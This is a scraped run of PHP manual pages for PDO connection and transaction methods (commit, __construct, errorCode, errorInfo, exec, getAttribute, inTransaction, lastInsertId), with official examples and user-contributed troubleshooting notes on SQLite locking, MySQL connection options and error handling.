Hope this will save time for others
rjohnson at intepro dot us 11-Apr-2009 11:27
If you are using PDO::SQLITE and need to support a high level of concurrency with locking, try preparing your statements prior to calling beginTransaction() and you may also need to call closeCursor() on SELECT statements to prevent the driver from thinking that there are open transactions.

Here's an example (Windows, PHP version 5.2.8).  We test this by opening 2 browser tabs to this script and running them at the same time.  If we put the beginTransaction before the prepare, the second browser tab would hit the catch block and the commit would throw another PDOException indicating that transactions were still open.

<?php
$conn = new PDO('sqlite:C:\path\to\file.sqlite');
$stmt = $conn->prepare('INSERT INTO my_table(my_id, my_value) VALUES(?, ?)');
$waiting = true; // Set a loop condition to test for
while($waiting) {
    try {
        $conn->beginTransaction();
        for($i=0; $i < 10; $i++) {
            $stmt->bindValue(1, $i, PDO::PARAM_INT);
            $stmt->bindValue(2, 'TEST', PDO::PARAM_STR);
            $stmt->execute();
            sleep(1);
        }
        $conn->commit();
        $waiting = false;
    } catch(PDOException $e) {
        if(stripos($e->getMessage(), 'DATABASE IS LOCKED') !== false) {
            // This should be specific to SQLite, sleep for 0.25 seconds
            // and try again.  We do have to commit the open transaction first though
            $conn->commit();
            usleep(250000);
        } else {
            $conn->rollBack();
            throw $e;
        }
    }
}

?>
dbeecher at tekops dot com 20-Aug-2008 06:21
// If you need to set an ISOLATION level or LOCK MODE it needs to be done BEFORE you make the BeginTransaction() call...
//
//  **note** you should always check result codes on operations and do error handling.  This sample code
//  assumes all the calls work so that the order of operations is accurate and easy to see
//
//  THIS IS using the PECL PDO::INFORMIX module, running on fedora core 6, php 5.2.4
//
//    This is the correct way to address an informix -243 error (could not position within table) when there
//    is no ISAM error indicating a table corruption.  A -243 can happen (if the table/indexes, etc., are ok)
//    if a row is locked.  The code below sets the LOCK MODE to wait 2 minutes (120 seconds) before
//    giving up.  In this example you get READ COMMITTED rows, if you don't need read committed
//    but just need to get whatever data is there (ignoring locked rows, etc.) instead of
//    "SET LOCK MODE TO WAIT 120" you could "SET ISOLATION TO DIRTY READ".
//
//    In informix you *must* manage how you do reads because it is very easy to trigger a
//    lock table overflow (which downs the instance) if you have lots of rows, are using joins
//    and have many updates happening.
//

// e.g.,

$sql= "SELECT FIRST 50 * FROM mytable WHERE mystuff=1 ORDER BY myid";                    /* define SQL query */

try                                                                                /* create an exception handler */
    {
    $dbh = new PDO("informix:host=......");

    if ($dbh)    /* did we connect? */
        {
        $dbh->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION);
        $dbh->query("SET LOCK MODE TO WAIT 120")

        # ----------------
        # open transaction cursor
        # ----------------
        if    ( $dbh->beginTransaction() )                                         # explicitly open cursor
            {
            try    /* open exception handler */
                {
                $stmt = $dbh->prepare($sql, array(PDO::ATTR_CURSOR => PDO::CURSOR_SCROLL));

                $stmt->execute();

                while ($row = $stmt->fetch(PDO::FETCH_NUM, PDO::FETCH_ORI_NEXT))
                    {
                    $data = $row[0] . "\t" . $row[1] . "\t" . $row[2] . "\t" . $row[3] . "\t" . $row[4] . "\t" . $row[5] . "\t" . $row[6] . "\t" . $row[7] . "\n" . $row[8] ;
                    //print $data;
                    print_r($row);
                    };

                $stmt = null;
                }
            catch (PDOException $e)
                {
                print "Query Failed!\n\n";

                print "DBA FAIL:" . $e->getMessage();
                };

            $dbh->rollback();                                                       # abort any changes (ie. $dbh->commit()
            $dbh = null;                                                            # close connection
            }
        else
            {
            # we should never get here, it should go to the exception handler
            print "Unable to establish connection...\n\n";
            };
        };
    }
catch (Exception $e)
    {
    $dbh->rollback();
    echo "Failed: " . $e->getMessage();
    };
drm at melp dot nl 11-Feb-2008 03:37
In response to "Anonymous / 20-Dec-2007 03:04"

You could also extend the PDO class and hold a private flag to check if a transaction is already started.

class MyPDO extends PDO {
   protected $hasActiveTransaction = false;

   function beginTransaction () {
      if ( $this->hasActiveTransaction ) {
         return false;
      } else {
         $this->hasActiveTransaction = parent::beginTransaction ();
         return $this->hasActiveTransaction;
      }
   }

   function commit () {
      parent::commit ();
      $this->hasActiveTransaction = false;
   }

   function rollback () {
      parent::rollback ();
      $this->hasActiveTransaction = false;
   }

}
Anonymous 20-Dec-2007 04:04
beginTransaction will through a PDOException if you execute it while a PDO transaction is already active.  Additionally the PDO engine doesn't seem to provide any way of determining if there is a transaction "in flight" so if you might be calling a function from within another function that starts a transaction you'll have to wrap the beginTransaction () call in a try .. catch block.


Commits a transaction

  • « PDO::beginTransaction
  • PDO::__construct »
  • PHP Manual
  • PDO
  • Commits a transaction

PDO::commit

(PHP 5 >= 5.1.0, PECL pdo >= 0.1.0)

PDO::commit — Commits a transaction

Description

public bool PDO::commit ( void )

Commits a transaction, returning the database connection to autocommit mode until the next call to PDO::beginTransaction() starts a new transaction.

Return Values

Returns TRUE on success or FALSE on failure.

Examples

Example #1 Committing a basic transaction

<?php
/* Begin a transaction, turning off autocommit */
$dbh->beginTransaction();

/* Insert multiple records on an all-or-nothing basis */
$sql = 'INSERT INTO fruit
    (name, colour, calories)
    VALUES (?, ?, ?)';

$sth = $dbh->prepare($sql);

foreach ($fruits as $fruit) {
    $sth->execute(array(
        $fruit->name,
        $fruit->colour,
        $fruit->calories,
    ));
}

/* Commit the changes */
$dbh->commit();

/* Database connection is now back in autocommit mode */
?>

Example #2 Committing a DDL transaction

<?php
/* Begin a transaction, turning off autocommit */
$dbh->beginTransaction();

/* Change the database schema */
$sth = $dbh->exec("DROP TABLE fruit");

/* Commit the changes */
$dbh->commit();

/* Database connection is now back in autocommit mode */
?>

Note: Not all databases will allow transactions to operate on DDL statements: some will generate errors, whereas others (including MySQL) will automatically commit the transaction after the first DDL statement has been encountered.

See Also

  • PDO::beginTransaction() - Initiates a transaction
  • PDO::rollBack() - Rolls back a transaction
  • Transactions and auto-commit

User Contributed Notes

Dusan 20-May-2014 04:22
Note that this will raise the PDOException on error EVEN if the error handling of PDO is set to PDO::ERRMODE_WARNING.


Creates a PDO instance representing a connection to a database

  • « PDO::commit
  • PDO::errorCode »
  • PHP Manual
  • PDO
  • Creates a PDO instance representing a connection to a database

PDO::__construct

(PHP 5 >= 5.1.0, PECL pdo >= 0.1.0)

PDO::__construct — Creates a PDO instance representing a connection to a database

Description

public PDO::__construct ( string $dsn [, string $username [, string $password [, array $options ]]] )

Creates a PDO instance to represent a connection to the requested database.

Parameters

dsn

The Data Source Name, or DSN, contains the information required to connect to the database.

In general, a DSN consists of the PDO driver name, followed by a colon, followed by the PDO driver-specific connection syntax. Further information is available from the PDO driver-specific documentation.

The dsn parameter supports three different methods of specifying the arguments required to create a database connection:

Driver invocation

dsn contains the full DSN.

URI invocation

dsn consists of uri: followed by a URI that defines the location of a file containing the DSN string. The URI can specify a local file or a remote URL.

uri:file:///path/to/dsnfile

Aliasing

dsn consists of a name name that maps to pdo.dsn.name in php.ini defining the DSN string.

Note:

The alias must be defined in php.ini, and not .htaccess or httpd.conf

username

The user name for the DSN string. This parameter is optional for some PDO drivers.

password

The password for the DSN string. This parameter is optional for some PDO drivers.

options

A key=>value array of driver-specific connection options.

Return Values

Returns a PDO object on success.

Errors/Exceptions

PDO::__construct() throws a PDOException if the attempt to connect to the requested database fails.

Examples

Example #1 Create a PDO instance via driver invocation

<?php
/* Connect to an ODBC database using driver invocation */
$dsn = 'mysql:dbname=testdb;host=127.0.0.1';
$user = 'dbuser';
$password = 'dbpass';

try {
    $dbh = new PDO($dsn, $user, $password);
} catch (PDOException $e) {
    echo 'Connection failed: ' . $e->getMessage();
}

?>

Example #2 Create a PDO instance via URI invocation

The following example assumes that the file /usr/local/dbconnect exists with file permissions that enable PHP to read the file. The file contains the PDO DSN to connect to a DB2 database through the PDO_ODBC driver:

odbc:DSN=SAMPLE;UID=john;PWD=mypass

The PHP script can then create a database connection by simply passing the uri: parameter and pointing to the file URI:

<?php
/* Connect to an ODBC database using driver invocation */
$dsn = 'uri:file:///usr/local/dbconnect';
$user = '';
$password = '';

try {
    $dbh = new PDO($dsn, $user, $password);
} catch (PDOException $e) {
    echo 'Connection failed: ' . $e->getMessage();
}

?>

Example #3 Create a PDO instance using an alias

The following example assumes that php.ini contains the following entry to enable a connection to a MySQL database using only the alias mydb:

[PDO]
pdo.dsn.mydb="mysql:dbname=testdb;host=localhost"
<?php
/* Connect to an ODBC database using an alias */
$dsn = 'mydb';
$user = '';
$password = '';

try {
    $dbh = new PDO($dsn, $user, $password);
} catch (PDOException $e) {
    echo 'Connection failed: ' . $e->getMessage();
}

?>

Note:

Before PHP5.3, a class which extends PDO and implements __call magic will always receive lower case $method.

User Contributed Notes

Anonymous 07-Apr-2014 10:55
To connect to the database via a function use this and call the getConnection function in the class constructor.

<?php
class Connection{

    protected $db;

    public function Connection(){

    $conn = NULL;

        try{
            $conn = new PDO("mysql:host=localhost;dbname=dbname", "dbuser", "dbpass");
            $conn->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION);
            } catch(PDOException $e){
                echo 'ERROR: ' . $e->getMessage();
                }
            $this->db = $conn;
    }

    public function getConnection(){
        return $this->db;
    }
}

?>
Kiipa at live dot com 20-Oct-2013 03:46
To get UTF-8 charset you can specify that in the DSN.

$link = new PDO("mysql:host=localhost;dbname=DB;charset=UTF8");
Anonymous 29-May-2013 02:30
Sqlite:

<?php
try{
    $pdo = new PDO('sqlite:example.db');
}catch (PDOException $e){
     die ('DB Error');
}
?>

If 'example.db' does not exist, no exception is thrown but the file 'example.db' is created.
piotrekkr at o2 dot pl 15-Sep-2010 09:19
To connect throught unix socket you need to use
<?php
$dsn = 'mysql:dbname=testdb;unix_socket=/path/to/socket';
?>

You musn't specify host when using socket.
Mitsuaki Ishimoto 29-Aug-2010 08:14
You have to use the following option "MYSQL_ATTR_READ_DEFAULT_FILE" to prevent someone from attacking your system by SQL Injection.

<?php
$dsn = 'mysql:host=' . DB_HOST . ';dbname=' . DB_NAME;
$dbh = new PDO(
    $dsn,
    DB_USER,
    DB_PASS,
    array(
        PDO::MYSQL_ATTR_READ_DEFAULT_FILE => '/etc/my.cnf'
    )
);
$dbh->setAttribute(PDO::ATTR_EMULATE_PREPARES, false);
?>
Victor T. 20-Feb-2010 06:34
If you use the UTF-8 encoding, you have to use the fourth parameter :

<?php
$db = new PDO('mysql:host=myhost;dbname=mydb', 'login', 'password', array(PDO::MYSQL_ATTR_INIT_COMMAND => 'SET NAMES \'UTF8\''));
?>
subme at interia dot pl 25-Nov-2008 11:03
To specify a database connection port use the following DSN string

<?php
$dsn = 'mysql:dbname=testdb;host=127.0.0.1;port=3333';
?>


Fetch the SQLSTATE associated with the last operation on the database handle

  • « PDO::__construct
  • PDO::errorInfo »
  • PHP Manual
  • PDO
  • Fetch the SQLSTATE associated with the last operation on the database handle

PDO::errorCode

(PHP 5 >= 5.1.0, PECL pdo >= 0.1.0)

PDO::errorCode — Fetch the SQLSTATE associated with the last operation on the database handle

Description

public mixed PDO::errorCode ( void )

Return Values

Returns an SQLSTATE, a five characters alphanumeric identifier defined in the ANSI SQL-92 standard. Briefly, an SQLSTATE consists of a two characters class value followed by a three characters subclass value. A class value of 01 indicates a warning and is accompanied by a return code of SQL_SUCCESS_WITH_INFO. Class values other than '01', except for the class 'IM', indicate an error. The class 'IM' is specific to warnings and errors that derive from the implementation of PDO (or perhaps ODBC, if you're using the ODBC driver) itself. The subclass value '000' in any class indicates that there is no subclass for that SQLSTATE.

PDO::errorCode() only retrieves error codes for operations performed directly on the database handle. If you create a PDOStatement object through PDO::prepare() or PDO::query() and invoke an error on the statement handle, PDO::errorCode() will not reflect that error. You must call PDOStatement::errorCode() to return the error code for an operation performed on a particular statement handle.

Returns NULL if no operation has been run on the database handle.

Examples

Example #1 Retrieving an SQLSTATE code

<?php
/* Provoke an error -- the BONES table does not exist */
$dbh->exec("INSERT INTO bones(skull) VALUES ('lucy')");

echo "\nPDO::errorCode(): ";
print $dbh->errorCode();
?>

The above example will output:

PDO::errorCode(): 42S02

See Also

  • PDO::errorInfo() - Fetch extended error information associated with the last operation on the database handle
  • PDOStatement::errorCode() - Fetch the SQLSTATE associated with the last operation on the statement handle
  • PDOStatement::errorInfo() - Fetch extended error information associated with the last operation on the statement handle

User Contributed Notes

Matthias Leuffen 04-Dec-2005 01:36
Hi,

List containing all SQL-92 SQLSTATE Return Codes:
http://www.unix.org.ua/orelly/java-ent/jenut/ch08_06.htm

Use the following Code to let PDO throw Exceptions (PDOException) on Error.

<?PHP
$pdo = new PDO (whatever);
$pdo->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION);
try {
    $pdo->exec ("QUERY WITH SYNTAX ERROR");
} catch (PDOException $e) {
    if ($e->getCode() == '2A000')
        echo "Syntax Error: ".$e->getMessage();
}
?>

Bye,
  Matthias


Fetch extended error information associated with the last operation on the database handle

  • « PDO::errorCode
  • PDO::exec »
  • PHP Manual
  • PDO
  • Fetch extended error information associated with the last operation on the database handle

PDO::errorInfo

(PHP 5 >= 5.1.0, PECL pdo >= 0.1.0)

PDO::errorInfo — Fetch extended error information associated with the last operation on the database handle

Description

public array PDO::errorInfo ( void )

Return Values

PDO::errorInfo() returns an array of error information about the last operation performed by this database handle. The array consists of the following fields:

Element | Information
0 | SQLSTATE error code (a five characters alphanumeric identifier defined in the ANSI SQL standard).
1 | Driver-specific error code.
2 | Driver-specific error message.

Note:

If the SQLSTATE error code is not set or there is no driver-specific error, the elements following element 0 will be set to NULL.

PDO::errorInfo() only retrieves error information for operations performed directly on the database handle. If you create a PDOStatement object through PDO::prepare() or PDO::query() and invoke an error on the statement handle, PDO::errorInfo() will not reflect the error from the statement handle. You must call PDOStatement::errorInfo() to return the error information for an operation performed on a particular statement handle.

Examples

Example #1 Displaying errorInfo() fields for a PDO_ODBC connection to a DB2 database

<?php
/* Provoke an error -- bogus SQL syntax */
$stmt = $dbh->prepare('bogus sql');
if (!$stmt) {
    echo "\nPDO::errorInfo():\n";
    print_r($dbh->errorInfo());
}
?>

The above example will output:

PDO::errorInfo():
Array
(
    [0] => HY000
    [1] => 1
    [2] => near "bogus": syntax error
)

See Also

  • PDO::errorCode() - Fetch the SQLSTATE associated with the last operation on the database handle
  • PDOStatement::errorCode() - Fetch the SQLSTATE associated with the last operation on the statement handle
  • PDOStatement::errorInfo() - Fetch extended error information associated with the last operation on the statement handle

User Contributed Notes

alagar86 at gmail dot com 09-Jan-2011 10:29
Please note : that this example won't work if PDO::ATTR_EMULATE_PREPARES is true.

You should set it to false

<?php
$dbh->setAttribute(PDO::ATTR_EMULATE_PREPARES,false);
$stmt = $dbh->prepare('bogus sql');
if (!$stmt) {
    echo "\nPDO::errorInfo():\n";
    print_r($dbh->errorInfo());
}
?>
mazen at mindcraftinc dot com 23-Sep-2008 08:43
Some PDO drivers return a larger array. For example, the SQL Server driver returns 5 values.

For example:
<?php
$numRows = $db->exec("DELETE FROM [TableName] WHERE ID between 6 and 17");
print_r($db->errorInfo());
?>

Result:

Array
(
    [0] => 00000
    [1] => 0
    [2] => (null) [0] (severity 0) []
    [3] => 0
    [4] => 0
)
quickshiftin at gmail dot com 03-Jun-2007 05:29
here are the error codes for sqlite, straight from their site:

The error codes for SQLite version 3 are unchanged from version 2. They are as follows:
#define SQLITE_OK           0   /* Successful result */
#define SQLITE_ERROR        1   /* SQL error or missing database */
#define SQLITE_INTERNAL     2   /* An internal logic error in SQLite */
#define SQLITE_PERM         3   /* Access permission denied */
#define SQLITE_ABORT        4   /* Callback routine requested an abort */
#define SQLITE_BUSY         5   /* The database file is locked */
#define SQLITE_LOCKED       6   /* A table in the database is locked */
#define SQLITE_NOMEM        7   /* A malloc() failed */
#define SQLITE_READONLY     8   /* Attempt to write a readonly database */
#define SQLITE_INTERRUPT    9   /* Operation terminated by sqlite_interrupt() */
#define SQLITE_IOERR       10   /* Some kind of disk I/O error occurred */
#define SQLITE_CORRUPT     11   /* The database disk image is malformed */
#define SQLITE_NOTFOUND    12   /* (Internal Only) Table or record not found */
#define SQLITE_FULL        13   /* Insertion failed because database is full */
#define SQLITE_CANTOPEN    14   /* Unable to open the database file */
#define SQLITE_PROTOCOL    15   /* Database lock protocol error */
#define SQLITE_EMPTY       16   /* (Internal Only) Database table is empty */
#define SQLITE_SCHEMA      17   /* The database schema changed */
#define SQLITE_TOOBIG      18   /* Too much data for one row of a table */
#define SQLITE_CONSTRAINT  19   /* Abort due to contraint violation */
#define SQLITE_MISMATCH    20   /* Data type mismatch */
#define SQLITE_MISUSE      21   /* Library used incorrectly */
#define SQLITE_NOLFS       22   /* Uses OS features not supported on host */
#define SQLITE_AUTH        23   /* Authorization denied */
#define SQLITE_ROW         100  /* sqlite_step() has another row ready */
#define SQLITE_DONE        101  /* sqlite_step() has finished executing */
quickshiftin at gmail dot com 21-Mar-2007 05:43
here is a reference to the ansi error codes
there are several others;
a link to the official spec from ansi would be nice
(have to rebuild this link because its too long to post w/o breaking it up)

http://download-east.oracle.com/docs/
cd/B14117_01/appdev.101/a87540/ch2.htm

~quickshiftin`


Execute an SQL statement and return the number of affected rows

  • « PDO::errorInfo
  • PDO::getAttribute »
  • PHP Manual
  • PDO
  • Execute an SQL statement and return the number of affected rows

PDO::exec

(PHP 5 >= 5.1.0, PECL pdo >= 0.1.0)

PDO::exec — Execute an SQL statement and return the number of affected rows

Description

public int PDO::exec ( string $statement )

PDO::exec() executes an SQL statement in a single function call, returning the number of rows affected by the statement.

PDO::exec() does not return results from a SELECT statement. For a SELECT statement that you only need to issue once during your program, consider issuing PDO::query(). For a statement that you need to issue multiple times, prepare a PDOStatement object with PDO::prepare() and issue the statement with PDOStatement::execute().

Parameters

statement

The SQL statement to prepare and execute.

Data inside the query should be properly escaped.

Return Values

PDO::exec() returns the number of rows that were modified or deleted by the SQL statement you issued. If no rows were affected, PDO::exec() returns 0.

Warning

This function may return Boolean FALSE, but may also return a non-Boolean value which evaluates to FALSE. Please read the section on Booleans for more information. Use the === operator for testing the return value of this function.

The following example incorrectly relies on the return value of PDO::exec(), wherein a statement that affected 0 rows results in a call to die():

<?php
$db->exec() or die(print_r($db->errorInfo(), true));
?>

Examples

Example #1 Issuing a DELETE statement

Count the number of rows deleted by a DELETE statement with no WHERE clause.

<?php
$dbh = new PDO('odbc:sample', 'db2inst1', 'ibmdb2');

/* Delete all rows from the FRUIT table */
$count = $dbh->exec("DELETE FROM fruit WHERE colour = 'red'");

/* Return number of rows that were deleted */
print("Deleted $count rows.\n");
?>

The above example will output:

Deleted 1 rows.

See Also

  • PDO::prepare() - Prepares a statement for execution and returns a statement object
  • PDO::query() - Executes an SQL statement, returning a result set as a PDOStatement object
  • PDOStatement::execute() - Executes a prepared statement

User Contributed Notes

hungry dot rahly at gmail dot com 11-Nov-2010 02:24
For those that want an exec that handles params like prepare/execute does.  You can simulate this with another function

<?php
class Real_PDO extends PDO {
  public function execParams($sql, $params) {
    $stm = $this->prepare($sql);
    $result = false;
    if( $stm && $stm->execute($params) ) {
      $result = $stm->rowCount();
      while( $stm->fetch(PDO::FETCH_ASSOC) ) {
      }
    }
    return $result;
  }
}
?>

Remember though, if you are doing a lot of inserts, you'll want to do it the manual way, as the prepare statement will speed up when doing multiple executes(inserts).  I use this so I can place all my SQL statements in one place, and have auto safe quoting against sql-injections.

If you are wondering about the fetch after, remember some databases can return data SELECT-like data from REMOVE/INSERTS.  In the case of PostgreSQL, you can have it return you all records that were actually removed, or have the insert return the records after the insert/post field functions, and io trigger fire, to give you normalized data.

<?php
define("BLAH_INSERT", "INSERT INTO blah (id,data) VALUES(?,?)");
$pdo = new Real_PDO("connect string");
$data = array("1", "2");
$pdo->execParams(BLAH_INSERT, $data);
?>
Anonymous 01-Sep-2010 05:37
I spent half a day trying to work out why I could not update my sqlite3 database from apache using the PHP PDO driver. I was getting NO error messages at all.

I could connect and select data, but not modify it.

It wasn't until I added the following line:

$dbh->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_WARNING);

after immediately opening the database, that I got a hint of what was happening.

filename: File3
dl_count: 100

( ! ) Warning: PDO::exec() [pdo.exec.html]: SQLSTATE[HY000]: General error: 8 attempt to write a readonly database in /www/htdocs/test/dl-counter/sqlite-readwrite-test.php on line 76
Call Stack
#
Time
Memory
Function
Location
1  0.0086  330120  {main}( )  ../sqlite-readwrite-test.php:0
  2  0.0273  331240  PDO->exec( )  ../sqlite-readwrite-test.php:76

 Affected Rows: ''

filename: File3
dl_count: 100

The problem was with the file permissions. As root I could read and write the database from the sqlite3 command line monitor. But Apache was unable to write the database.

Changed the permissions to 755 wwwrun:wwrun and it all works OK!

Thanks again :)
blah at whatevr dot com 05-Sep-2007 05:07
You can't use it not only with SELECT statement, but any statement that might return rows. "OPTIMIZE table" is such example (returns some rows with optimization status).

If you do, PDO will lock-up with the "Cannot execute queries while other unbuffered queries are active." nonsense.
jon at chem dot umass dot edu 10-May-2007 11:12
If you do this:

<?php
$res = $dbh->query("SELECT * FROM sessions                        WHERE session_id = '$p_sessID'");

$l_records = $res->fetch(PDO::FETCH_ASSOC);

if( $l_records ) {
   // ...update session-data
   $l_theQuery = "UPDATE sessions SET session_expires='$newExp', session_data='$p_sessData' WHERE session_id='$p_sessID'";
   echo $l_theQuery;
   $l_stmt = $this->db->prepare($l_theQuery);

   if ( $l_stmt ) {
      $l_rows = $l_stmt->execute();
   }
}
?>

You will get nothing.

But do this:

<?php
$dbh->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_WARNING);
?>

Prior to the code above, you will get this:

"PDO::prepare(): SQLSTATE[HY000]: General error: 2014 Cannot execute queries while other unbuffered queries are active. Consider using PDOStatement::fetchAll(). Alternatively, if your code is only ever going to run against mysql, you may enable query buffering by setting the PDO::MYSQL_ATTR_USE_BUFFERED_QUERY attribute."

So, instead of fetch(), use fetchAll(), it will make you less insane.

Incidentally, the INSERT statement that I was issuing, if the record that I needed to update didn't yet exist, after the initial fetch() command worked perfectly.

Changing to fetchAll() fixed it.
roberto at spadim dot com dot br 19-Dec-2006 08:47
this function don't execute multi_query
to get it see SQLITE_EXEC comments there is an pereg function that get all queries and execute all then an return the last one
soletan at toxa dot de 29-Aug-2006 10:40
It's worth noting here, that - in addition to the hints given in docs up there - using prepare, bind and execute provides more benefits than multiply querying a statement: performance and security!

If you insert some binary data (e.g. image file) into database using INSERT INTO ... then it may boost performance of parsing your statement since it is kept small (a few bytes, only, while the image may be several MiBytes) and there is no need to escape/quote the file's binary data to become a proper string value.

And, finally and for example, if you want to get a more secure PHP application which isn't affectable by SQL injection attacks you _have to_ consider using prepare/execute on every statement containing data (like INSERTs or SELECTs with WHERE-clauses). Separating the statement code from related data using prepare, bind and execute is best method - fast and secure! You don't even need to escape/quote/format-check any data.
david at acz dot org 10-Feb-2006 01:39
This function cannot be used with any queries that return results.  This includes SELECT, OPTIMIZE TABLE, etc.


Retrieve a database connection attribute

  • « PDO::exec
  • PDO::getAvailableDrivers »
  • PHP Manual
  • PDO
  • Retrieve a database connection attribute

PDO::getAttribute

(PHP 5 >= 5.1.0, PECL pdo >= 0.2.0)

PDO::getAttribute — Retrieve a database connection attribute

Description

public mixed PDO::getAttribute ( int $attribute )

This function returns the value of a database connection attribute. To retrieve PDOStatement attributes, refer to PDOStatement::getAttribute().

Note that some database/driver combinations may not support all of the database connection attributes.

Parameters

attribute

One of the PDO::ATTR_* constants. The constants that apply to database connections are as follows:

  • PDO::ATTR_AUTOCOMMIT
  • PDO::ATTR_CASE
  • PDO::ATTR_CLIENT_VERSION
  • PDO::ATTR_CONNECTION_STATUS
  • PDO::ATTR_DRIVER_NAME
  • PDO::ATTR_ERRMODE
  • PDO::ATTR_ORACLE_NULLS
  • PDO::ATTR_PERSISTENT
  • PDO::ATTR_PREFETCH
  • PDO::ATTR_SERVER_INFO
  • PDO::ATTR_SERVER_VERSION
  • PDO::ATTR_TIMEOUT

Return Values

A successful call returns the value of the requested PDO attribute. An unsuccessful call returns null.

Examples

Example #1 Retrieving database connection attributes

<?php
$conn = new PDO('odbc:sample', 'db2inst1', 'ibmdb2');
$attributes = array(
    "AUTOCOMMIT", "ERRMODE", "CASE", "CLIENT_VERSION", "CONNECTION_STATUS",
    "ORACLE_NULLS", "PERSISTENT", "PREFETCH", "SERVER_INFO", "SERVER_VERSION",
    "TIMEOUT"
);

foreach ($attributes as $val) {
    echo "PDO::ATTR_$val: ";
    echo $conn->getAttribute(constant("PDO::ATTR_$val")) . "\n";
}
?>

See Also

  • PDO::setAttribute() - Set an attribute
  • PDOStatement::getAttribute() - Retrieve a statement attribute
  • PDOStatement::setAttribute() - Set a statement attribute

User Contributed Notes

peter dot hopfgartner at r3-gis dot com 08-Sep-2009 10:44
The Oracle driver seems to not support PDO::getAttribute():

ociPHP Fatal error:  Uncaught exception 'PDOException' with message 'SQLSTATE[IM001]: Driver does not support this function: driver does not support getting attributes' in ...


Return an array of available PDO drivers

  • « PDO::getAttribute
  • PDO::inTransaction »
  • PHP Manual
  • PDO
  • Return an array of available PDO drivers

PDO::getAvailableDrivers

(PHP 5 >= 5.1.3, PECL pdo >= 1.0.3)

PDO::getAvailableDrivers — Return an array of available PDO drivers

Description

public static array PDO::getAvailableDrivers ( void )
array pdo_drivers ( void )

This function returns all currently available PDO drivers which can be used in DSN parameter of PDO::__construct().

Return Values

PDO::getAvailableDrivers() returns an array of PDO driver names. If no drivers are available, it returns an empty array.

Examples

Example #1 A PDO::getAvailableDrivers() example

<?php
print_r(PDO::getAvailableDrivers());
?>

The above example will output something similar to:

Array
(
    [0] => mysql
    [1] => sqlite
)

User Contributed Notes

iabdullah 07-Aug-2014 04:31
Since the method is a static, one practice is using it to check whether a specific server database driver is available and configured correctly with PDO before establishing the connection:
<?php
try {
    if (!in_array("mysql",PDO::getAvailableDrivers(),TRUE))
    {
        throw new PDOException ("Cannot work without a proper database setting up");
    }
}
catch (PDOException $pdoEx)
{
    echo "Database Error .. Details :<br /> {$pdoEx->getMessage()}";
}
?>
or to check for any driver in general:
<?php
    if (empty(PDO::getAvailableDrivers()))
    {
        throw new PDOException ("PDO does not support any driver.");
    }
?>
faruk at pamukbilisim dot com 03-Feb-2014 02:13
/*
 * Coder : PamukBilisim
 * Date : 02/02/2014
 */
function getDriverList($ayrac = ",", $echo = true){

$ARR_DRIVERS = array();
$CountDrivers = 0;
foreach(PDO::getAvailableDrivers() AS $DRIVERS) :

    $CountDrivers++;
    $ARR_DRIVERS[$CountDrivers] = $DRIVERS;

endforeach;

$_GET_DRIVER_LIST = implode($ayrac, $ARR_DRIVERS);

if( $echo ): echo $_GET_DRIVER_LIST; else : return $_GET_DRIVER_LIST; endif;

}

Example :

echo "Kullanabileceğiniz pdo veritabanları : " . getDriverList(" , ", false);


Checks if inside a transaction

  • « PDO::getAvailableDrivers
  • PDO::lastInsertId »
  • PHP Manual
  • PDO
  • Checks if inside a transaction

PDO::inTransaction

(PHP 5 >= 5.3.3, Bundled pdo_pgsql)

PDO::inTransaction — Checks if inside a transaction

Description

public bool PDO::inTransaction ( void )

Checks if a transaction is currently active within the driver. This method only works for database drivers that support transactions.

Parameters

This function has no parameters.

Return Values

Returns TRUE if a transaction is currently active, and FALSE if not.

User Contributed Notes

christopeh at xhaleera dot com 18-Nov-2013 07:26
On OS X 10.9 with PHP 5.4.10, this function seems to correctly return bool(true) or bool(false) and not anymore integers.
r. hanouwer 20-Apr-2012 03:12
Exceptions regarding existing active transactions were thrown while I was almost certain sufficient checks were in place.
However, I quickly found out that a strict boolean comparison to PDO::inTransaction() was failing.

Using var_dump I learned that this function was returning integers, not boolean values.

var_dump(PDO::inTransaction()); // int(1) || int(0)
ron korving 14-Jan-2011 06:20
This method actually seems to work fine on PHP5.3.5 (and probably a few older versions).


Returns the ID of the last inserted row or sequence value

  • « PDO::inTransaction
  • PDO::prepare »
  • PHP Manual
  • PDO
  • Returns the ID of the last inserted row or sequence value

PDO::lastInsertId

(PHP 5 >= 5.1.0, PECL pdo >= 0.1.0)

PDO::lastInsertId — Returns the ID of the last inserted row or sequence value

Description

public string PDO::lastInsertId ([ string $name = NULL ] )

Returns the ID of the last inserted row, or the last value from a sequence object, depending on the underlying driver. For example, PDO_PGSQL requires you to specify the name of a sequence object for the name parameter.

Note:

This method may not return a meaningful or consistent result across different PDO drivers, because the underlying database may not even support the notion of auto-increment fields or sequences.

Parameters

name

Name of the sequence object from which the ID should be returned.

Return Values

If a sequence name was not specified for the name parameter, PDO::lastInsertId() returns a string representing the row ID of the last row that was inserted into the database.

If a sequence name was specified for the name parameter, PDO::lastInsertId() returns a string representing the last value retrieved from the specified sequence object.

If the PDO driver does not support this capability, PDO::lastInsertId() triggers an IM001 SQLSTATE.

User Contributed Notes

Anonymous 16-Sep-2014 04:19
Sorry to contradict Jonathon Hibbard's comment (http://php.net/manual/en/pdo.lastinsertid.php#82838), but my experiencie with INSERT INTO ... ON DUPLICATE KEY UPDATE is totally different; maybe it's due to PHP version (I'm on Windows, 5.4.7; I realize his post is 6 years old) or to the database engine (MySQL in my case).

Nevertheless, if I do an INSERT INTO ... ON DUPLICATE KEY UPDATE (something like id=id or equivalent, where the updated value is equal to the original one), this is what I'm getting:

- If the key didn't exist, the value is inserted, and lastInsertId() returns the expected id for the new row.

- If the row exists AND a value is updated, with lastInsertId() I get the ID of the updated row.

- If the row exists but NO value is updated, lastInsertId() returns 0.

That contradicts his example, where he assures that
"INSERT INTO city (`city`) VALUES ('Paris') ON DUPLICATE KEY UPDATE `city` = 'Paris'"
returns 2 (??) on lastInsertId() and that he expected to return 1 "since no records were inserted" (??).

Hope this helps someone.
mattbridges at me dot com 07-Oct-2013 05:33
@nour

You need to call lastInsertId before you commit
nick dot barton at libersys dot co dot uk 02-Jan-2013 11:34
Easiest solution I've found for MSSQL to obtain the last inserted ID is

<?php
